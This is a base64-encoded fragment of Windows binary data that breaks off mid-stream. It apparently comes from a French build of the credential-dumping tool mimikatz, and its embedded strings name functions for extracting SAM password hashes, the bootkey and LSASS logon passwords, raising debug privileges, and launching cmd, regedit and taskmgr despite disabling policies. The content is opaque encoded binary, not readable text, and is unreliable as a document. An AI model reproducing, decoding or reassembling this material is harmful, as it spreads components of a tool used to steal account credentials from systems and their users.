AIABjAGEAcgBhAGMAdADoAHIAZQBzAAAAbgB0AGwAbQAAAAAAJwApACAAPQAgAAAATABNACgAJwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABjAGEAbABjAHUAbAAgAGQAdQAgAGgAYQBzAGgAIABMAE0AAABOAFQATABNACgAJwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABjAGEAbABjAHUAbAAgAGQAdQAgAGgAYQBzAGgAIABOAFQATABNAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAFAASQBEAAAAcABpAGQAAABJAG4AagBlAGMAdABlACAAdQBuAGUAIABsAGkAYgByAGEAaQByAGkAcgBlACAAYwBvAG0AbQB1AG4AaQBjAGEAbgB0AGUAIABkAGEAbgBzACAAdQBuACAAcAByAG8AYwBlAHMAcwB1AHMAAAAAAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAHMAZQByAHYAaQBjAGUAAAApAC4AdABoADMAMgBQAHIAbwBjAGUAcwBzAEkARAAgAD0AIAAAAAAAUABSAE8AQwBFAFMAUwBFAE4AVABSAFkAMwAyACgAAAAnACAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABVAG4AaQBxAHUAZQBQAHIAbwBjAGUAcwBzAEYAbwByAE4AYQBtAGUAIAA6ACAAAABUAHIAbwBwACwAIABvAHUAIABwAGEAcwAgAGQAZQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAOgAgACcAAAApAC4AcwBlAHIAdgBpAGMAZQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAA9ACAAAABTAEUAUgBWAEkAQwBFACgAAAAAAAAAAAApAC4AUwBlAHIAdgBpAGMAZQBTAHQAYQB0AHUAcwBQAHIAbwBjAGUAcwBzAC4AZAB3AFAAcgBvAGMAZQBzAHMASQBkACAAPQAgAAAAAAAAACcAIAA7ACAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAABTAGUAcgB2AGkAYwBlACAAdQBuAGkAcQB1AGUAIABpAG4AdAByAG8AdQB2AGEAYgBsAGUAIAA6ACAAJwAAAAAALgAAAGsAaQB3AGkAXABtAGkAbQBpAGsAYQB0AHoAAAAAAAAAQQB0AHQAZQBuAHQAZQAgAGQAZQAgAGMAbwBuAG4AZQB4AGkAbwBuACAAZAB1ACAAYwBsAGkAZQBuAHQALgAuAC4AAABTAGUAcgB2AGUAdQByACAAYwBvAG4AbgBlAGMAdADpACAA4AAgAHUAbgAgAGMAbABpAGUAbgB0ACAAIQAAAAAATQBlAHMAcwBhAGcAZQAgAGQAdQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAOgAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlACAAcAByAGUAbQBpAGUAcgAgAG0AZQBzAHMAYQBnAGUAIAAhACAAOwAgAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAHUAbgAgAGMAYQBuAGEAbAAgAGQAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAHQAaQBvAG4AIAAhACAAOwAgAAAASQBuAGoAZQBjAHQA6QAgAHMAYQBuAHMAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbwBuACAAKABsAGUAZwBhAGMAeQApAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBpAG4AagBlAGMAdABlAHIAIAAhACAAOwAgAAAARQByAHIAZQB1AHIAIAA6ACAAdQBuACAAYwBhAG4AYQBsACAAZABlACAAYwBvAG0AbQB1AG4AaQBjAGEAdABvAG4AIABlAHMAdAAgAGQA6QBqAOAAIABvAHUAdgBlAHIAdAAAAAAAAABGAGUAcgBtAGUAdAB1AHIAZQAgAGQAdQAgAGMAYQBuAGEAbAAgAGQAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAHQAaQBvAG4AAABPAGIAdABpAGUAbgB0ACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHMAdQByACAAbABlACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAQwBoAGEAbQBwACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAAYwBvAGwAbwBuAG4AZQBzAAAAIABsAGkAZwBuAGUAcwAgAHgAIAAAAAAARABpAG0AZQBuAHMAaQBvAG4AIAAgACAAIAAgACAAIAA6ACAAAAAAAE0AaQBuAGUAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAZABvAG4AbgDpAGUAcwAgAGQAdQAgAHAAbABhAHQAZQBhAHUAAAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAGQAbwBuAG4A6QBlAHMAIABkAHUAIABqAGUAdQAAAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAA6QBsAGUAbQBlAG4AdABzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIAByAOkAZgDpAHIAZQBuAGMAZQBzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAHIA6QBmAOkAcgBlAG4AYwBlAHMAIABkAGUAcwAgAGMAbwBsAG8AbgBuAGUAcwAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAHIA6QBmAOkAcgBlAG4AYwBlAHMAIABkAGUAIABsACcA6QBsAGUAbQBlAG4AdAAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAABMAGEAbgBjAGUAIAB1AG4AIADpAGQAaQB0AGUAdQByACAAZABlACAAcgBlAGcAaQBzAHQAcgBlACwAIABpAGcAbgBvAHIAYQBuAHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAByAGUAZwBlAGQAaQB0AAAATABhAG4AYwBlACAAdQBuAGUAIABpAG4AdgBpAHQAZQAgAGQAZQAgAGMAbwBtAG0AYQBuAGQAZQAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBDAE0ARAAAAGMAbQBkAAAAAAAAAEwAYQBuAGMAZQAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAdABhAGMAaABlACwAIABpAGcAbgBvAHIAYQBuAHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAB0AGEAcwBrAG0AZwByAAAATABhAG4AYwBlACAATwB1AHQAbABvAG8AawAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBQAHMAdAAAAAAAbwBsAHAAcwB0AAAASwBpAHcAaQBBAG4AZABSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAHIAZQBnAGUAZABpAHQALgBlAHgAZQAAAE9LAABLTwAARQBkAGkAdABlAHUAcgAgAGQAZQAgAHIAZQBnAGkAcwB0AHIAZQAgADoAIAAAAAAASwBpAHcAaQBBAG4AZABDAE0ARAAAAAAARABpAHMAYQBiAGwAZQBDAE0ARAAAAAAAYwBtAGQALgBlAHgAZQAAAEkAbgB2AGkAdABlACAAZABlACAAYwBvAG0AbQBhAG4AZABlACAAOgAgAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAEcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAdABhAGMAaABlAHMAIAA6ACAAAABEaXNhYmxlUHN0AABLaXdpQW5kUHN0AABPAHUAdABsAG8AbwBrAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAAAATwB1AHQAbABvAG8AawAgAGEAdgBlAGMAIABQAFMAVAAgACAAIAA6ACAAAABvAGwAbQBhAHAAaQAzADIALgBkAGwAbAAAAAAATwB1AHQAbABvAG8AawAgAGkAbgB0AHIAbwB1AHYAYQBiAGwAZQAAAFMAbwBmAHQAdwBhAHIAZQBcAEMAbABhAHMAcwBlAHMAXAAAAFwAQwBMAFMASQBEAAAAAABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwAQwBMAFMASQBEAFwAAABcAEwAbwBjAGEAbABTAGUAcgB2AGUAcgAzADIAAAAAACcgOiAAAAAAUmVnUXVlcnlWYWx1ZUV4ICcAAAAnIG4nZXN0IHBhcyA6IFJFR19TWgAAAABMZSB0eXBlIHJldG91cm7pIHBhciAnAABSZWdPcGVuS2V5RXggJwAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAdwByAGkAdABlAE0AZQBtAG8AcgB5ACAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAUABlAGIAIAAAAAAAUgBlAHMAdQBtAGUAVABoAHIAZQBhAGQAIAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZQB4AGUAYwBQAHIAbwBjAGUAcwBzACAAAAAAAAAAbQBvAGQAXwBtAGkAbQBpAGsAYQB0AHoAXwBuAG8AZwBwAG8AOgA6AGQAaQBzAGEAYgBsAGUAUwBpAG0AcABsAGUAIAAoAHUAbgBpAGMAbwBkAGUAKQAgAFQAYQBpAGwAbABlACAAZAB1ACAAcABhAHQAdABlAHIAbgAgAG8AcgBpAGcAaQBuAGEAbAAgAGQAaQBmAGYA6QByAGUAbgB0AGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAYwBpAGIAbABlAAAAAABtAG8AZABfAG0AaQBtAGkAawBhAHQAegBfAG4AbwBnAHAAbwA6ADoAZABpAHMAYQBiAGwAZQBTAGkAbQBwAGwAZQAgACgAbgBvAG4ALQB1AG4AaQBjAG8AZABlACkAIABUAGEAaQBsAGwAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABvAHIAaQBnAGkAbgBhAGwAIABkAGkAZgBmAOkAcgBlAG4AdABlACAAZAB1ACAAcABhAHQAdABlAHIAbgAgAGMAaQBiAGwAZQAAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAAAAQQBjAHQAaQB2AGUAIAB1AG4AIABvAHUAIABwAGwAdQBzAGkAZQB1AHIAcwAgAHAAcgBpAHYAaQBsAOgAZwBlAHMAAABlAG4AYQBiAGwAZQAAAAAAAAAAAFIAZQB0AGkAcgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAcgBlAG0AbwB2AGUAAAAAAAAAAABEAOkAcwBhAGMAdABpAHYAZQAgAHUAbgAgAG8AdQAgAHAAbAB1AHMAaQBlAHUAcgBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAAAAZABpAHMAYQBiAGwAZQAAAAAAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABEAGUAYgB1AGcAAABkAGUAYgB1AGcAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABTAGUAYwB1AHIAaQB0AHkAAAAAAHMAZQBjAHUAcgBpAHQAeQAAAAAARABlAG0AYQBuAGQAZQAgACgAbwB1ACAAZADpAHMAYQBjAHQAaQB2AGUAKQAgAGwAZQAgAHAAcgBpAHYAaQBsAOgAZwBlACAAVABjAGIAAAB0AGMAYgAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEEAcwBzAGkAZwBuAFAAcgBpAG0AYQByAHkAVABvAGsAZQBuAAAAAABhAHMAcwBpAGcAbgAAAAAARABlAG0AYQBuAGQAZQAgACgAbwB1ACAAZADpAHMAYQBjAHQAaQB2AGUAKQAgAGwAZQAgAHAAcgBpAHYAaQBsAOgAZwBlACAAUwBoAHUAdABkAG8AdwBuAAAAAABzAGgAdQB0AGQAbwB3AG4AAAAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAFQAYQBrAGUATwB3AG4AZQByAHMAaABpAHAAAAB0AGEAawBlAG8AdwBuAGUAcgAAACAAOgAgAAAAIABkAHUAIABwAHIAaQB2AGkAbADoAGcAZQAgADoAIAAAAAAAJwBBAEMAVABJAFYAQQBUAEkATwBOAAAAZQAgAFIARQBUAFIAQQBJAFQAAABEAGUAbQBhAG4AZABlACAAZAAAAEUATgBBAEIATABFAEQAXwBCAFkAXwBEAEUARgBBAFUATABUACAAAABFAE4AQQBCAEwARQBEACAAAAAAAFIARQBNAE8AVgBFAEQAIAAAAAAAVQBTAEUARABfAEYATwBSAF8AQQBDAEMARQBTAFMAIAAAAAAAUgBFAE0ATwBWAEUARAAAAFMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBTAGUAYwB1AHIAaQB0AHkAUAByAGkAdgBpAGwAZQBnAGUAAABTAGUAVABjAGIAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBJAG0AcABlAHIAcwBvAG4AYQB0AGUAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBBAHMAcwBpAGcAbgBQAHIAaQBtAGEAcgB5AFQAbwBrAGUAbgBQAHIAaQB2AGkAbABlAGcAZQAAAFMAZQBTAGgAdQB0AGQAbwB3AG4AUAByAGkAdgBpAGwAZQBnAGUAAABTAGUAVABhAGsAZQBPAHcAbgBlAHIAcwBoAGkAcABQAHIAaQB2AGkAbABlAGcAZQAAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAAAAAAAABFAHgA6QBjAHUAdABlACAAdQBuACAAcAByAG8AYwBlAHMAcwB1AHMALAAgAC8AcABhAHUAcwBlAGQAIABlAHQALwBvAHUAIAAvAHMAdQBkAG8AAABzAHQAYQByAHQAAABTAHUAcwBwAGUAbgBkACAAbAAnAGUAeADpAGMAdQB0AGkAbwBuACAAZAAnAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAABzAHUAcwBwAGUAbgBkAAAAUgBlAHAAcgBlAG4AZAAgAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAAByAGUAcwB1AG0AZQAAAAAAAAAAAFMAdABvAHAAcABlACAAdQBuACAAKABvAHUAIABwAGwAdQBzAGkAZQB1AHIAcwApACAAcAByAG8AYwBlAHMAcwB1AHMAAAAAAHMAdABvAHAAAAAAAAAAAABMAGkAcwB0AGUAIABsAGUAcwAgAG0AbwBkAHUAbABlAHMAIAAoAHAAbwB1AHIAIABsAGUAIABtAG8AbQBlAG4AdAAgAGQAdQAgAFAASQBEACAAYwBvAHUAcgBhAG4AdAApAAAAbQBvAGQAdQBsAGUAcwAAAEwAaQBzAHQAZQAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAJwBhAGQAcgBlAHMAcwBhAGcAZQAAAAAAaQBhAHQAAAAnAAAARABlAG0AYQBuAGQAZQAgAGQAJwBlAHgA6QBjAHUAdABpAG8AbgAgAGQAZQAgADoAIAAnAAAAAAAvAHAAYQB1AHMAZQBkAAAALwBzAHUAZABvAAAAAAAAACAAKgAgAEwAZQAgAFQAaAByAGUAYQBkACAAcAByAGkAbgBjAGkAcABhAGwAIABlAHMAdAAgAHMAdQBzAHAAZQBuAGQAdQAgACEAIABSAGUAcAByAGkAcwBlACAAYQB2AGUAYwAgADoAIAB0AGgAcgBlAGEAZAA6ADoAcgBlAHMAdQBtAGUAIAAAAAAAAAAAACAAKgAgAEwAZQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQBzAHQAIABkAOkAbQBhAHIAcgDpACAAYQB2AGUAYwAgAGQAZQAgAGYAYQB1AHMAcwBlAHMAIABkAG8AbgBuAOkAZQBzACAAZAAnAGkAZABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAAAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBzAHQAYQByAHQAIAA7ACAAAABwAHIAbwBjAGUAcwBzADoAOgBzAHQAYQByAHQAIABbAC8AcABhAHUAcwBlAGQAXQAgAFsALwBzAHUAZABvAF0AIABjAG8AbQBtAGEAbgBkAGUAAABFAHIAcgBlAHUAcgAgAGQAZQAgAHMAeQBuAHQAYQB4AGUAIAA7ACAAAAAAAEYAaQBuACAAZABlACAAOgAgAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcwB0AG8AcAAgADsAIAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgADsAIAAAAAAAUwB1AHMAcABlAG4AcwBpAG8AbgAgAGQAZQAgADoAIAAAAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcwB1AHMAcABlAG4AZAAgADsAIAAAAAAAUgBlAHAAcgBpAHMAZQAgAGQAZQAgADoAIAAAAEsATwAgAC0AIABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AHIAZQBzAHUAbQBlACAAOwAgAAAAUABJAEQACQBQAFAASQBEAAkAIwBUAGgAcwAJAHAAcgBpAAkAaQBtAGEAZwBlAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAQABCAGEAcwBlAAkAVABhAGkAbABsAGUACQBNAG8AZAB1AGwAZQAJAFAAYQB0AGgAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AE0AbwBkAHUAbABlAHMATABpAHMAdABGAG8AcgBQAHIAbwBjAGUAcwBzAEkAZAAgADsAIAAAAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABVAG4AaQBxAHUAZQBNAG8AZAB1AGwAZQBGAG8AcgBOAGEAbQBlACAAOwAgAAAAAABQAEkARAAgACAAIAAgACAAIAA6ACAAAABUAGgAcgBlAGEAZABJAEQAIAA6ACAAAABBdXRoSWRfaCA6IABBdXRoSWRfbCA6IABFAHIAcgBlAHUAcgAgADoAIAAAACAALQAgAEkAbQBwAG8AcgB0AHMAIABkAGUAcAB1AGkAcwAgADoAIAAAAAAAIAAgACAAIAAgACAAAAAAAE8AIwAgAAAAaW52YWxpZCB2ZWN0b3I8VD4gc3Vic2NyaXB0AAAAAABSAOkAYwB1AHAA6AByAGUAIABsAGEAIABiAG8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AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABXAEQAaQBnAGUAcwB0AAAAAAB3AGQAaQBnAGUAcwB0AAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABLAGUAcgBiAGUAcgBvAHMAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAADpAG4AdQBtAOgAcgBlACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAGQAdQAgAHAAcgBvAHYAaQBkAGUAcgAgAFQAcwBQAGsAZwAAAAAAdABzAHAAawBnAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABMAGkAdgBlAFMAUwBQAAAAAABsAGkAdgBlAHMAcwBwAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABTAFMAUAAgACgAbQBzAHYAMQBfADAAKQAAAHMAcwBwAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAGUAcwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAZABpAHMAcABvAG4AaQBiAGwAZQBzAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAAAAAAByAGUAYwBoAGUAcgBlACAAZABpAHIAZQBjAHQAZQBtAGUAbgB0ACAAZABhAG4AcwAgAGwAZQBzACAAcwBlAGcAbQBlAG4AdABzACAAbQDpAG0AbwBpAHIAZQAgAGQAZQAgAEwAUwBBAFMAUwAgAGQAZQBzACAAbQBvAHQAcwAgAGQAZQAgAHAAYQBzAHMAZQBzAAAAcwBlAGEAcgBjAGgAUABhAHMAcwB3AG8AcgBkAHMAAABEAG8AbgBuAOkAZQBzACAATABTAEEAUwBTACAAZQBuACAAZQByAHIAZQB1AHIAAABsAHMAYQBzAHIAdgAAAAAAbQBzAHYAMQBfADAAAAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAHQAcwBwAGsAZwAuAGQAbABsAAAAdwBkAGkAZwBlAHMAdAAuAGQAbABsAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAGwAaQB2AGUAcwBzAHAALgBkAGwAbAAAAGwAcwBhAHMAcwAuAGUAeABlAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBzAEwAaQBzAHQARgBvAHIAUAByAG8AYwBlAHMAcwAgADoAIAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAA6ACAAAAAAAExzYUlSZWdpc3Rlck5vdGlmaWNhdGlvbgAAAABMc2FJQ2FuY2VsTm90aWZpY2F0aW9uAAAgAH0AAAAAAF0AIAB7ACAAAAAAAAkAIABbAAAACQAgACoAIABNAG8AdAAgAGQAZQAgAHAAYQBzAHMAZQAgADoAIAAAAAkAIAAqACAARABvAG0AYQBpAG4AZQAgACAAIAAgACAAIAA6ACAAAAAJACAAKgAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACAAIAAgACAAIAAgAE0AbwB0ACAAZABlACAAcABhAHMAcwBlACAAOgAgAAAACQAgACAAIAAgACAAIAAgAEQAbwBtAGEAaQBuAGUAIAAgACAAIAAgACAAOgAgAAAAXQAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACoAIABbAAAAbgAuAHQALgAgACgATABVAEkARAAgAEsATwApAAAAAABEAG8AbQBhAGkAbgBlACAAZAAnAGEAdQB0AGgAZQBuAHQAaQBmAGkAYwBhAHQAaQBvAG4AIAAgADoAIAAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAcAByAGkAbgBjAGkAcABhAGwAIAAgACAAIAAgACAAIAA6ACAAAAAAAFAAYQBjAGsAYQBnAGUAIABkACcAYQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgACAAOgAgAAAAAAA7AAAAQQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgAEkAZAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQBzACAAZABvAG4AbgDpA